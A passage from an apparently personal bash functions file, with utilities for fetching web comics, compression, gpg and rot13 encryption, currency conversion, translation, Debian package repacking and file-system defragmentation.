wget -q $(curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p') -O $XKCD_FILE
# Geek and Poke
GAP_FILE="/tmp/geekandpoke"
wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\/.a\/' | grep '\-pi' | head -n 1 | awk '{print $2}') -O $GAP_FILE
viewnior $XKCD_FILE
viewnior $GAP_FILE
}
###### Run a command until a specified time - Example: command-timer 04:00
function command-timer() { echo "notify-send TimeToQuit" | at "$@" ; }
###### Run a program on a timer - Example: program-timer 20 viewnior arg1
function program-timer() { perl -e 'alarm shift; exec @ARGV' "$@" & exit; }
####### Computer the speed of two commands
function comp() { # compare the speed of two commands (loop $1 times)
if [[ $# -ne 3 ]] ; then return 1 ; fi
echo -n 1
time for ((i=0;i<$1;i++)) ; do $2 ; done >/dev/null 2>&1
echo -n 2
time for ((i=0;i<$1;i++)) ; do $3 ; done >/dev/null 2>&1
}
# Remove text from file1 which is in file2 and store it in an other file #
#------------------------------------------////
###### handy if you have file where file1 was the original and you want to remove the original data from your file2 - usage: grep -Fvf nameofinputfile1 nameofinputfile2 > nameofoutputfile
function comparenclean() { grep -Fvf $1 $2 > $3 ; }
###### save lines unique to file2 - if both file1 and file2 are already sorted: comm -13 nameofinputfile1 nameofinputfile2 > nameofoutputfile
function comparenclean_() { comm -13 <(sort $1) <(sort $2) > $3 ; }
####### Compress stuff
function compress_() {
# Credit goes to: Daenyth
FILE=$1
shift
case $FILE in
*.tar.bz2) tar cjf $FILE $* ;;
*.tar.gz) tar czf $FILE $* ;;
*.tgz) tar czf $FILE $* ;;
*.zip) zip $FILE $* ;;
*.rar) rar $FILE $* ;;
*) echo "Filetype not recognized" ;;
esac
}
####### Sets the compression level for file-roller
function compression_level()
{
echo -n "Please enter the number for the compression level desired:
(1) very_fast
(2) fast
(3) normal
(4) maximum
Press 'Enter' for default (default is '3')...
"
read COMPRESSION_LEVEL_NUMBER
# extra blank space
echo "
"
# default
if [[ -z $COMPRESSION_LEVEL_NUMBER ]] ; then
# If no COMPRESSION_LEVEL passed, default to '3'
COMPRESSION_LEVEL=normal
fi
# preset
if [[ $COMPRESSION_LEVEL_NUMBER = 1 ]] ; then
COMPRESSION_LEVEL=very_fast
fi
if [[ $COMPRESSION_LEVEL_NUMBER = 2 ]] ; then
COMPRESSION_LEVEL=fast
fi
if [[ $COMPRESSION_LEVEL_NUMBER = 3 ]] ; then
COMPRESSION_LEVEL=normal
fi
if [[ $COMPRESSION_LEVEL_NUMBER = 4 ]] ; then
COMPRESSION_LEVEL=maximum
fi
gconftool-2 --set /apps/file-roller/general/compression_level --type string "$COMPRESSION_LEVEL"
}
####### Convert to avi
function conv2avi() {
if [[ $(which mencoder-mt) != "" ]]; then
mencoder-mt "$1" -lavdopts threads=8 \
-ovc xvid -xvidencopts fixed_quant=4 -of avi \
-oac mp3lame -lameopts vbr=3 \
-o "$1".avi
else
mencoder "$1" -lavdopts \
-ovc xvid -xvidencopts fixed_quant=4 -of avi \
-oac mp3lame -lameopts vbr=3 \
-o "$1".avi
fi
}
####### Get name of app that created a corefile
function corename()
{
for file ; do
echo -n $file : ; gdb --core=$file --batch | head -1
done
}
######## Count opening and closing braces in a string
function countbraces() { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(echo $1 | grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $COUNT_CLOSING; }
######## Count files in current directory
function count_files()
{
case $1 in
*+h)
echo $(($(ls --color=no -1 -la . | grep -v ^l | wc -l)-1))
;;
*-h)
echo $(($(ls --color=no -1 -l . | grep -v ^l | wc -l)-1))
;;
*+d)
echo $(($(ls --color=no -1 -la . | grep -v ^- | wc -l)-1))
;;
*-d)
echo $(($(ls --color=no -1 -l . | grep -v ^- | wc -l)-1))
;;
*+f)
echo $(($(ls --color=no -1 -la . | grep -v ^d | wc -l)-1))
;;
*-f)
echo $(($(ls --color=no -1 -l . | grep -v ^d | wc -l)-1))
;;
*)
echo -e "\n${ewhite}Usage:"
echo -e "\n${eorange}count_files${ewhite} | ${egreen}+h ${eiceblue}[count files and folders - include hidden ones] \
\n${eorange}count_files${ewhite} | ${egreen}-h ${eiceblue}[count files and folders - exclude hidden ones] \
\n${eorange}count_files${ewhite} | ${egreen}+d ${eiceblue}[count folders - include hidden ones] \
\n${eorange}count_files${ewhite} | ${egreen}-d ${eiceblue}[count folders - exclude hidden ones] \
\n${eorange}count_files${ewhite} | ${egreen}+f ${eiceblue}[count files - include hidden ones] \
\n${eorange}count_files${ewhite} | ${egreen}-f ${eiceblue}[count files - exclude hidden ones]\n"
tput sgr0
;;
esac
}
######## Count files by extension
function count_files_by_ext() { find . -type f | sed -n 's/..*\.//p' | sort -f | uniq -ic ; }
######## Count processes that are running
function count_processes()
{
case $1 in
*help )
echo -e "\n${ewhite}Usage:"
echo -e "\n${eorange}count_processes${ewhite} | ${egreen}! no options !\n"
tput sgr0
;;
* )
procs=$(ps ax | wc -l | awk '{print $1}')
if [[ $procs -lt 10 ]]; then
echo "000$procs"
elif [[ $procs -lt 100 ]]; then
echo "00$procs"
elif [[ $procs -lt 1000 ]]; then
echo "0$procs"
fi
;;
esac
}
# Copies currently played song in Audacious to selected directory
function cp_mp3_to() { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| sed s/[^\/]*//`; cp "$FILEPATH" "$1"; }
######## Cp with progress bar (using pv)
function cp_p() {
if [ `echo "$2" | grep ".*\/$"` ]
then
pv "$1" > "$2""$1"
else
pv "$1" > "$2"/"$1"
fi
}
######## Create User List usage: create_user_list
function create_user_list()
{
local users u
while IFS=: read -r u _; do
users+=("$u")
done
printf '%s\n' "${users[@]:1}"
}
######### Print a cron formatted time for 2 minutes in - the future (for crontab testing)
function crontest() { date '-d +2 minutes' +'%M %k %d %m *'; }
# Encryption / decryption #
#------------------------------------------////
###### do twice to decrypt
function crypt() {
if [[ -e "$1" ]]; then
tr a-zA-Z n-za-mN-ZA-M < "$1" > "$1".crypt
rm -f "$1"
mv "$1".crypt "$1"
fi
}
###### basic encrypt / decrypt - example: "encry filename" or "decry filename"
function encry()
{
gpg -ac --no-options "$1"
}
function decry()
{
gpg --no-options "$1"
}
###### More advanced encryption / decryption - example: "encrypt filename" or "decrypt filename"
function encrypt()
{
case $LANG in
cs* )
err_title="Chyba"
err_files="Neoznačen soubor"
encrypt="Šifrovat"
decrypt="Dešifrovat"
file_msg="soubor:"
pass_msg="Vložte heslo";;
* )
err_title="Error"
err_files="No file selected"
encrypt="Encrypt"
decrypt="Decrypt"
file_msg="file:"
pass_msg="Enter passphrase";;
esac
if [ "$1" != "" ]
then
i=1
file=`echo "$1" | sed ''$i'!d'`
while [ "$file" != "" ]
do
ext=`echo "$file" | grep [.]gpg$ 2>&1`
if [ "$ext" != "" ]
then
pass_decrypt=`zenity --entry --entry-text "$pass_decrypt" --hide-text --title "$pass_msg" --text "$decrypt $file_msg ${file##*/}" "" 2>&1`
if [ "$pass_decrypt" != "" ]
then
output=${file%.*}
echo "$pass_decrypt" | gpg -o "$output" --batch --passphrase-fd 0 -d "$file"
fi
else
pass_encrypt=`zenity --entry --hide-text --entry-text "$pass_encrypt" --title "$pass_msg" --text "$encrypt $file_msg ${file##*/}" "" 2>&1`
if [ "$pass_encrypt" != "" ]
then
echo "$pass_encrypt" | gpg --batch --passphrase-fd 0 --cipher-algo aes256 -c "$file"
fi
fi
i=$(($i+1))
file=`echo "$1" | sed ''$i'!d'`
done
else
zenity --error --title "$err_title" --text "$err_files"
fi
}
alias decrypt='encrypt'
###### rot13 ("rotate alphabet 13 places" Caesar-cypher encryption)
function rot13()
{
if [ $# -lt 1 ] || [ $# -gt 1 ]; then
echo "Seriously? You don't know what rot13 does?"
else
echo $@ | tr A-Za-z N-ZA-Mn-za-m
fi
}
###### rot47 ("rotate ASCII characters from '!" to '~' 47 places" Caesar-cypher encryption)
function rot47()
{
if [ $# -lt 1 ] || [ $# -gt 1 ]; then
echo "Seriously? You don't know what rot47 does?"
else
echo $@ | tr '!-~' 'P-~!-O'
fi
}
# Google stuff #
#------------------------------------------////
###### convert currencies usage: currency_convert 1 usd eur - for currency shorthand: http://www.xe.com/currency/
function currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }
###### convert currencies usage: currency_convert 1 usd eur - for currency shorthand: http://www.xe.com/currency/
function currency_convert_() { curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s | sed -n "s/.*>\(.*\) $3<.*/\1/p"; }
###### convert currencies help
function currency_convert_help() {
cat <<EOF
AED - Emirati Dirham
AFN - Afghan Afghani
ALL - Albanian Lek
AMD - Armenian Dram
ANG - Dutch Guilder
AOA - Angolan Kwanza
ARS - Argentine Peso
AUD - Australian Dollar
AWG - Aruban or Dutch Guilder
AZN - Azerbaijani New Manat
BAM - Bosnian Convertible Marka
BBD - Barbadian or Bajan Dollar
BDT - Bangladeshi Taka
BGN - Bulgarian Lev
BHD - Bahraini Dinar
BIF - Burundian Franc
BMD - Bermudian Dollar
BND - Bruneian Dollar
BOB - Bolivian Boliviano
BRL - Brazilian Real
BSD - Bahamian Dollar
BTN - Bhutanese Ngultrum
BWP - Batswana Pula
BYR - Belarusian Ruble
BZD - Belizean Dollar
CAD - Canadian Dollar
CDF - Congolese Franc
CHF - Swiss Franc
CLP - Chilean Peso
CNY - Chinese Yuan Renminbi
COP - Colombian Peso
CRC - Costa Rican Colon
CUC - Cuban Convertible Peso
CUP - Cuban Peso
CVE - Cape Verdean Escudo
CZK - Czech Koruna
DJF - Djiboutian Franc
DKK - Danish Krone
DOP - Dominican Peso
DZD - Algerian Dinar
EEK - Estonian Kroon
EGP - Egyptian Pound
ERN - Eritrean Nakfa
ETB - Ethiopian Birr
EUR - Euro
FJD - Fijian Dollar
FKP - Falkland Island Pound
GBP - British Pound
GEL - Georgian Lari
GGP - Guernsey Pound
GHS - Ghanaian Cedi
GIP - Gibraltar Pound
GMD - Gambian Dalasi
GNF - Guinean Franc
GTQ - Guatemalan Quetzal
GYD - Guyanese Dollar
HKD - Hong Kong Dollar
HNL - Honduran Lempira
HRK - Croatian Kuna
HTG - Haitian Gourde
HUF - Hungarian Forint
IDR - Indonesian Rupiah
ILS - Israeli Shekel
IMP - Isle of Man Pound
INR - Indian Rupee
IQD - Iraqi Dinar
IRR - Iranian Rial
ISK - Icelandic Krona
JEP - Jersey Pound
JMD - Jamaican Dollar
JOD - Jordanian Dinar
JPY - Japanese Yen
KES - Kenyan Shilling
KGS - Kyrgyzstani Som
KHR - Cambodian Riel
KMF - Comoran Franc
KPW - Korean Won
KRW - Korean Won
KWD - Kuwaiti Dinar
KYD - Caymanian Dollar
KZT - Kazakhstani Tenge
LAK - Lao or Laotian Kip
LBP - Lebanese Pound
LKR - Sri Lankan Rupee
LRD - Liberian Dollar
LSL - Basotho Loti
LTL - Lithuanian Litas
LVL - Latvian Lat
LYD - Libyan Dinar
MAD - Moroccan Dirham
MDL - Moldovan Leu
MGA - Malagasy Ariary
MKD - Macedonian Denar
MMK - Burmese Kyat
MNT - Mongolian Tughrik
MOP - Macau Pataca
MRO - Mauritian Ouguiya
MUR - Mauritian Rupee
MVR - Maldivian Rufiyaa
MWK - Malawian Kwacha
MXN - Mexican Peso
MYR - Malaysian Ringgit
MZN - Mozambican Metical
NAD - Namibian Dollar
NGN - Nigerian Naira
NIO - Nicaraguan Cordoba
NOK - Norwegian Krone
NPR - Nepalese Rupee
NZD - New Zealand Dollar
OMR - Omani Rial
PAB - Panamanian Balboa
PEN - Peruvian Nuevo Sol
PGK - Papua New Guinean Kina
PHP - Philippine Peso
PKR - Pakistani Rupee
PLN - Polish Zloty
PYG - Paraguayan Guarani
QAR - Qatari Riyal
RON - Romanian New Leu
RSD - Serbian Dinar
RUB - Russian Ruble
RWF - Rwandan Franc
SAR - Saudi or Saudi Arabian Riyal
SBD - Solomon Islander Dollar
SCR - Seychellois Rupee
SDG - Sudanese Pound
SEK - Swedish Krona
SGD - Singapore Dollar
SHP - Saint Helenian Pound
SLL - Sierra Leonean Leone
SOS - Somali Shilling
SPL - Seborgan Luigino
SRD - Surinamese Dollar
STD - Sao Tomean Dobra
SVC - Salvadoran Colon
SYP - Syrian Pound
SZL - Swazi Lilangeni
THB - Thai Baht
TJS - Tajikistani Somoni
TMT - Turkmenistani Manat
TND - Tunisian Dinar
TOP - Tongan Pa'anga
TRY - Turkish Lira
TTD - Trinidadian Dollar
TVD - Tuvaluan Dollar
TWD - Taiwan New Dollar
TZS - Tanzanian Shilling
UAH - Ukrainian Hryvna
UGX - Ugandan Shilling
USD - US Dollar
UYU - Uruguayan Peso
UZS - Uzbekistani Som
VEF - Venezuelan Bolivar Fuerte
VND - Vietnamese Dong
VUV - Ni-Vanuatu Vatu
WST - Samoan Tala
XAF - Central African CFA Franc BEAC
XCD - East Caribbean Dollar
XDR - IMF Special Drawing Rights
XOF - CFA Franc
XPF - CFP Franc
YER - Yemeni Rial
ZAR - South African Rand
ZMK - Zambian Kwacha
ZWD - Zimbabwean Dollar
EOF
}
###### define a word - USAGE: define dog
function define() {
local LNG=$(echo $LANG | cut -d '_' -f 1)
local CHARSET=$(echo $LANG | cut -d '.' -f 2)
lynx -accept_all_cookies -dump -hiddenlinks=ignore -nonumbers -assume_charset="$CHARSET" -display_charset="$CHARSET" "http://www.google.com/search?hl=${LNG}&q=define%3A+${1}&btnG=Google+Search" | grep -m 5 -C 2 -A 5 -w "*" > /tmp/define
if [ ! -s /tmp/define ]; then
echo "Sorry, google doesn't know this one..."
rm -f /tmp/define
return 1
else
cat /tmp/define | grep -v Search
echo ""
fi
rm -f /tmp/define
return 0
}
###### detect language of a string
function detectlanguage() { curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
###### find a location's coordinates - usage: findlocation "Las Vegas, Nevada" = coordinates: [ -115.1728160, 36.1146460, 0 ]
function findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
###### your GeoIP location on Google Maps
function geoipme()
{
curl -s http://geoiplookup.wikimedia.org/|awk -F, '{print $3,$4}'|awk -F'"' '{print "http://maps.google.com/maps?q="$4 "," $8}'
}
###### Google search (example: google dog)
function google() {
firefox "http://www.google.com/search?&num=100&q=${@}" &
}
###### Google chart
function google_chart()
{
wget -O chart.png 'http://chart.googleapis.com/chart?chs=250x100&chd=t:60,40&cht=p3&chl=Hello|World'
}
###### Google-Fonts.sh - Google search (example: google dog) Descripton: For those who want an extremely easy method to download and install the entire Google font repository.
function google-fonts() {
###### Installation of Mercurial Needed for Downloading of Fonts ######
sudo apt-get install mercurial
###### Setting of Default Directories ######
_hgroot="https://googlefontdirectory.googlecode.com/hg/"
_hgrepo="googlefontdirectory"
_hgoutdir="google-fonts"
###### Google Font Choice Decision ######
echo "
"
echo -n "What do you want to do with the fonts from Google
once they are downloaded?:
(1) Download Only (and keep all fonts in a single folder)
(2) Download Only (and keep all fonts in separate folders (pure hg copy))
(3) Download and Install
Press 'Enter' for default (default is '1')...
"
read GOOGLE_FONT_CHOICE
###### Actual Downloading of the Google Fonts ######
if [ ! -d $HOME/$_hgrepo ] ; then
echo "
"
echo "Connecting to Mercurial server...."
if [ -d $HOME/$_hgrepo ] ; then
cd $HOME/$_hgrepo
hg pull -u || return 1
echo "The local files have been updated."
cd ..
else
hg clone $_hgroot $HOME/$_hgrepo || return 1
fi
echo "Mercurial checkout done or server timeout"
echo "
"
else
echo "The directory $HOME/$_hgrepo already exists."
echo ""
echo "No need to redownload all of the Google fonts."
fi
###### Google Font Choice Selection ######
###### default
if [[ -z $GOOGLE_FONT_CHOICE ]] ; then
# If no file passed, default to 1
mkdir -p $HOME/$_hgoutdir/
find $HOME/$_hgrepo/ -name "*.ttf"|xargs -I{} bash -c "cp -rf \"{}\" $HOME/$_hgoutdir/"
rm -rf $HOME/$_hgrepo/
fi
###### preset
if [[ $GOOGLE_FONT_CHOICE = 1 ]] ; then
mkdir -p $HOME/$_hgoutdir/
find $HOME/$_hgrepo/ -name "*.ttf"|xargs -I{} bash -c "cp -rf \"{}\" $HOME/$_hgoutdir/"
rm -rf $HOME/$_hgrepo/
fi
if [[ $GOOGLE_FONT_CHOICE = 2 ]] ; then
mv $HOME/$_hgrepo/ $HOME/$_hgoutdir/
fi
if [[ $GOOGLE_FONT_CHOICE = 3 ]] ; then
sudo mkdir -p /usr/share/fonts/truetype/google-fonts/
find $HOME/$_hgrepo/ -name "*.ttf" -exec sudo install -m644 {} /usr/share/fonts/truetype/google-fonts/ \; || return 1
fc-cache -f > /dev/null
rm -rf $HOME/$_hgrepo/
fi
###### Wrap Up ######
echo "
"
echo "done."
echo "
"
read -sn 1 -p "You have finished downloading/installing all the Google Fonts currently available. Press any key to finish...
"
}
###### get Google PageRank
function pagerank()
{
curl pagerank.bz/$1
}
###### Google text-to-speech in mp3/wav format
function say() { mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }
function say_()
{
# Saironiq's bash script
# Usage: say_ en lol # says "lol" in english ; somecommand | say_ fr - # read text to say from a pipe
# requires madplay: sudo apt-get install madplay
lang=$1
shift
if [ "$1" = "-" ]
then
read text
echo $text
else
text=$*
fi
len=`expr length "$text"`
if [ -z "$text" ] ; then
echo "Please specify string to translate (up to 100 characters incl.)."
exit 4
elif [ "$len" -gt "100" ] ; then
echo "Can't translate more than 100 characters at once! (entered $len)"
exit 2
fi
wget -qU Mozilla -O - "http://translate.google.com/translate_tts?tl=$lang&q=$text" | madplay -Q -o wave:- - | aplay -q -
}
###### translate a word using Google - usage: translate <phrase> <output-language> - example: translate "hello" es = hola (will auto-detect source language) - for a list of language codes: http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
function translate() { wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=%7C${2:-en}" | sed 's/.*{"translatedText":"\([^"]*\)".*/\1\n/'; }
function translate_help() {
cat <<EOF
Language ISO
(Afan) Oromo om
Abkhazian ab
Afar aa
Afrikaans af
Albanian sq
Amharic am
Arabic ar
Armenian hy
Assamese as
Aymara ay
Azerbaijani az
Bashkir ba
Basque eu
Bengali bn
Bhutani dz
Bihari bh
Bislama bi
Breton br
Bulgarian bg
Burmese my
Byelorussian be
Cambodian km
Catalan ca
Chinese zh
Corsican co
Croatian hr
Czech cs
Danish da
Dutch nl
English en
Esperanto eo
Estonian et
Faeroese fo
Fiji fj
Finnish fi
French fr
Frisian fy
Galician gl
Georgian ka
German de
Greek el
Greenlandic kl
Guarani gn
Gujarati gu
Hausa ha
Hebrew he
(former iw)
Hindi hi
Hungarian hu
Icelandic is
Indonesian id
(former in)
Interlingua ia
Interlingue ie
Inupiak ik
Inuktitut iu
(Eskimo)
Irish ga
Italian it
Japanese ja
Javanese jw
Kannada kn
Kashmiri ks
Kazakh kk
Kinyarwanda rw
Kirghiz ky
Kirundi rn
Korean ko
Kurdish ku
Laothian lo
Latin la
Latvian, lv
Lettish
Lingala ln
Lithuanian lt
Macedonian mk
Malagasy mg
Malay ms
Malayalam ml
Maltese mt
Maori mi
Marathi mr
Moldavian mo
Mongolian mn
Nauru na
Nepali ne
Norwegian no
Occitan oc
Oriya or
Pashto, Pushto ps
Persian fa
Polish pl
Portuguese pt
Punjabi pa
Quechua qu
Rhaeto-Romance rm
Romanian ro
Russian ru
Samoan sm
Sangro sg
Sanskrit sa
Scots Gaelic gd
Serbian sr
Serbo-Croatian sh
Sesotho st
Setswana tn
Shona sn
Sindhi sd
Singhalese si
Siswati ss
Slovak sk
Slovenian sl
Somali so
Spanish es
Sudanese su
Swahili sw
Swedish sv
Tagalog tl
Tajik tg
Tamil ta
Tatar tt
Tegulu te
Thai th
Tibetan bo
Tigrinya ti
Tonga to
Tsonga ts
Turkish tr
Turkmen tk
Twi tw
Uigur ug
Ukrainian uk
Urdu ur
Uzbek uz
Vietnamese vi
Volapuk vo
Welch cy
Wolof wo
Xhosa xh
Yiddish yi
(former ji)
Yoruba yo
Zhuang za
Zulu zu
EOF
}
###### Cut last n lines in file, 10 by default
function cuttail()
{
nlines=${2:-10}
sed -n -e :a -e "1,${nlines}!{P;N;D;};N;ba" $1
}
###### Continuously print string as if being entered from the keyboard
function cycle() { while :;do((i++));echo -n "${3:$(($i%${#3})):1}";sleep .$(($RANDOM%$2+$1));done;}
###### Super stealth background launch
function daemon()
{
(exec "$@" >&/dev/null &)
}
###### Shows what processes need to be restarted after system upgrade
function deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }
###### Show dead links
function deadlink() {
find -L -type l
}
# Stuff for easy debian package extracting, making, remaking, and uploading
#------------------------------------------////
###### deb extraction- extracts a deb file & organizes for easy deb manipulation and repacking using "debremaker"
function debextract()
{
read -sn 1 -p "Press any key to continue...
"
# Set IFS so that it won't consider spaces as entry separators. Without this, spaces in file/folder names can make the loop go wacky.
IFS=$'\n'
NEWDIRNAME=${1%.*}
FILENAME=${1##*/}
NAME=${1##*/.*}
mkdir "$NEWDIRNAME"
cp -fv -R "$1" "$NEWDIRNAME"
cd "$NEWDIRNAME"
ar vx "$FILENAME"
rm -fv -R "$FILENAME"
for FILE in *.tar.gz; do tar xvpf $FILE; done
for FILE in *.tar.lzma; do tar xvpf $FILE; done
rm -fv -R "control.tar.gz"
rm -fv -R "data.tar.gz"
rm -fv -R "data.tar.lzma"
rm -fv -R "debian-binary"
mkdir "DEBIAN"
mv -fv "changelog" "DEBIAN"
mv -fv "config" "DEBIAN"
mv -fv "conffiles" "DEBIAN"
mv -fv "control" "DEBIAN"
mv -fv "copyright" "DEBIAN"
mv -fv "postinst" "DEBIAN"
mv -fv "preinst" "DEBIAN"
mv -fv "prerm" "DEBIAN"
mv -fv "postrm" "DEBIAN"
mv -fv "rules" "DEBIAN"
mv -fv "shlibs" "DEBIAN"
mv -fv "templates" "DEBIAN"
mv -fv "triggers" "DEBIAN"
mv -fv ".svn" "DEBIAN"
rm -fv -R "md5sums"
echo "Finished Successfully"
}
###### deb remaking- easily remakes a debian file after "debextract" (not authentically or correct according to Launchpad standards)
function debremaker()
{
read -sn 1 -p "Make sure you have this function directed to the original debian file (previously extracted from and made into a folder with \"debextract\"; otherwise, it will fail (Note: This will take a minute): Press any key to continue...
"
# Set IFS so that it won't consider spaces as entry separators. Without this, spaces in file/folder names can make the loop go wacky.
IFS=$'\n'
NEWDIRNAME=${1%.*}
FILENAME=${1##*/}
NAME=${1##*/.*}
cd "$NEWDIRNAME"
rm -fv -R "$1"
find . -type f ! -regex '.*\.hg.*' ! -regex '.*?debian-binary.*' ! -regex '.*?DEBIAN.*' -printf '%P ' | xargs md5sum > DEBIAN/md5sums
cd ..
dpkg-deb -b "$NEWDIRNAME"
rm -rf "$NEWDIRNAME"
echo "Finished Successfully"
}
####### Download a web page and show info on what took time
function debug_http() { /usr/bin/curl $@ -o /dev/null -w "dns: %{time_namelookup} connect: %{time_connect} pretransfer: %{time_pretransfer} starttransfer: %{time_starttransfer} total: %{time_total}\n" ; }
####### Defragmentation of selected files/folder (use at your own risk) & fragmentation-checking#
function defrag()
{
cd "$1"
read -sn 1 -p "Warning! Pressing enter will defrag the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to defrag after \"defrag\": Press any key to continue...
"
read -sn 1 -p "I'm serious. It's now or never...: Press any key to continue...
"
cat > "/tmp/defrag.sh" <<"End-of-message"
#!/bin/bash
# defrag v0.08 by Con Kolivas <[email protected]
# Braindead fs-agnostic defrag to rewrite files in order largest to smallest
# Run this in the directory you want all the files and subdirectories to be
# reordered. It will only affect one partition. It works best when run twice.
# Are you really crazy enough to be using this? It might blow your data
# into tiny little useless chunks.
trap 'abort' 1 2 15
renice 19 $$ > /dev/null
function abort()
{
echo -e "\nAborting"
rm -f tmpfile dirlist
exit 1
}
function fail()
{
echo -e "\nFailed"
abort
}
declare -i filesize=0
declare -i numfiles=0
# The maximum size of a file we can easily cache in ram
declare -i maxsize=$((`awk '/MemTotal/ {print $2}' /proc/meminfo`*1024))
(( maxsize-= `awk '/Mapped/ {print $2}' /proc/meminfo` ))
(( maxsize/= 2))
if [[ -a tmpfile || -a dirlist ]] ; then
echo dirlist or tmpfile exists
exit 1
fi
# Sort in the following order:
# 1) Depth of directory
# 2) Size of directory descending
# 3) Filesize descending
# I made this crap up. It's completely unvalidated.
echo "Creating list of files..."
# stupid script to find max directory depth
find -xdev -type d -printf "%d\n" | sort -n | uniq > dirlist
# sort directories in descending size order
cat dirlist | while read d;
do
find -xdev -type d -mindepth $d -maxdepth $d -printf "\"%p\"\n" | \
xargs du -bS --max-depth=0 | \
sort -k 1,1nr -k 2 |\
cut -f2 >> tmpfile
if (( $? )) ; then
fail
fi
done
rm -f dirlist
# sort files in descending size order
cat tmpfile | while read d;
do
find "$d" -xdev -type f -maxdepth 1 -printf "%s\t%p\n" | \
sort -k 1,1nr | \
cut -f2 >> dirlist
if (( $? )) ; then
fail
fi
done
rm -f tmpfile
numfiles=`wc -l dirlist | awk '{print $1}'`
echo -e "$numfiles files will be reordered\n"
# copy to temp file, check the file hasn't changed and then overwrite original
cat dirlist | while read i;
do
(( --numfiles ))
if [[ ! -f $i ]]; then
continue
fi
# We could be this paranoid but it would slow it down 1000 times
# if [[ `lsof -f -- "$i"` ]]; then
# echo -e "\n File $i open! Skipping"
# continue
# fi
filesize=`find "$i" -printf "%s"`
# read the file first to cache it in ram if possible
if (( filesize < maxsize ))
then
echo -e "\r $numfiles files left \c"
cat "$i" > /dev/null
else
echo -e "\r $numfiles files left - Reordering large file sized $filesize ... \c"
fi
datestamp=`find "$i" -printf "%s"`
cp -a -f "$i" tmpfile
if (( $? )) ; then
fail
fi
# check the file hasn't been altered since we copied it
if [[ `find "$i" -printf "%s"` != $datestamp ]] ; then
continue
fi
mv -f tmpfile "$i"
if (( $? )) ; then
fail
fi
done
echo -e "\nSucceeded"
rm -f dirlist
End-of-message
chmod +x "/tmp/defrag.sh"
sudo "/tmp/defrag.sh" "$1"
read -sn 1 -p "When you are finished, press any key to continue...
"
rm "/tmp/defrag.sh"
}
###### if run this in your $HOME directory, you will have to change permissions back
function defrag2()
{
cd "$1"
read -sn 1 -p "Warning! Pressing enter will defrag the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to defrag after \"defrag\": Press any key to continue...
"
read -sn 1 -p "I'm serious. It's now or never...: Press any key to continue...
"
cat > "/tmp/defrag2.sh" <<"End-of-message"
#!/bin/bash
# Creator: private_lock
# Recursively descend in a folder-structure and recreate every folder on ascending, to ensure it is
# sorted (check with 'ls -lU'). This will defrag the FAT32 file-system but not touch the files.
# count some statistics
directories=0
invalid=0
unreadable=0
# the latest modification date of a file within the given directory
function getMaxDate {
# read the output of ls (one file per line, sorted for descending modification time)
ls -1t "$1" | while read line; do
# "return value" is piped through standard out
echo "-d $(stat -c %y "$1"/"$line")"
# stop after first line
return
done
}
# expect a single directory as argument
function rewrite {
# get canonical path
local canonical="$(readlink -f "$1")"
if [[ ! -d "$1" || -h "$1" ]]; then
echo "Skipping symbolic link \"$1\" -> \"$canonical\"!"
let invalid+=1
return
fi
if [[ ! -d "$1" || -h "$1" ]]; then
echo \"$canonical\" is not a valid directory!
let invalid+=1
return
fi
cd "$canonical"
if [[ $? != 0 ]]; then
echo Cannot change to directory \"$canonical\"! Skipping ...
let unreadable+=1
return
fi
echo $canonical
let directories+=1
local isEmpty=true
# recursive descend
for d in *; do
if [[ -d "$d" ]]; then
rewrite "$d"
fi
let isEmpty=false
done
# ascend to parent of canonical (But don't ascend blindly)
cd "$canonical"/..
if [[ $isEmpty == true ]]; then
# no need to recreate an empty directory, as it's zero entries are always sorted
return
fi
# check for an empty temporary directory-name
local tempdir="$canonical".bak
if [[ -e "$tempdir" ]]; then
# echo $tempdir exits
local counter=1
while [[ -e "$tempdir$counter" ]]; do
# echo ${tempdir}${counter} exits
let counter+=1
done
tempdir="${tempdir}${counter}"
fi
# TODO check file-system boundaries (don't move across)
# rename the current directory
mv "$canonical" "$tempdir"
# create a new directory
mkdir "$canonical"
# move all the content from the old to the new directory
# The whole script is build around the side-effect of mv to sort the entries.
mv "$tempdir"/* "$canonical"
# check, that the old directory is really empty
if [[ "$(ls -A "$tempdir")" ]]; then
echo ERROR: "$tempdir" is not empty!
exit -2
fi
# restore permissions
chmod --reference="$tempdir" "$canonical"
# delete the old directory
rmdir "$tempdir"
# update the timestamp of the new directory
# start off with today
local maxDate=$(date)
# evaluate the latest modification time of a file within this directory
# empty directories would be set to now
touch "$(getMaxDate "$canonical")" "$canonical"
}
# check commandline for help option
for a in "$@"; do
if [[ ${a} = "-?" || ${a} = "-h" || ${a} = "--help" ]]; then
echo -e "\nUsage: folderSort [-?|-h|--help] [directories]\n"
exit -1
fi
done
# start processing the directories
if [[ "$#" -eq 0 ]]; then
# no commandline argument was given -> work on the current directory
rewrite .
else
for a in "$@"; do
rewrite ${a}
done
fi
echo Processed a total of $directories directories!
if [[ $invalid > 0 ]]; then
echo Found $invalid invalid directories!
fi
if [[ $unreadable > 0 ]]; then
echo Found $unreadable directories, that could not be changed into!
fi
exit $(($invalid + $unreadable))
End-of-message
chmod +x "/tmp/defrag2.sh"
sudo "/tmp/defrag2.sh" "$1"
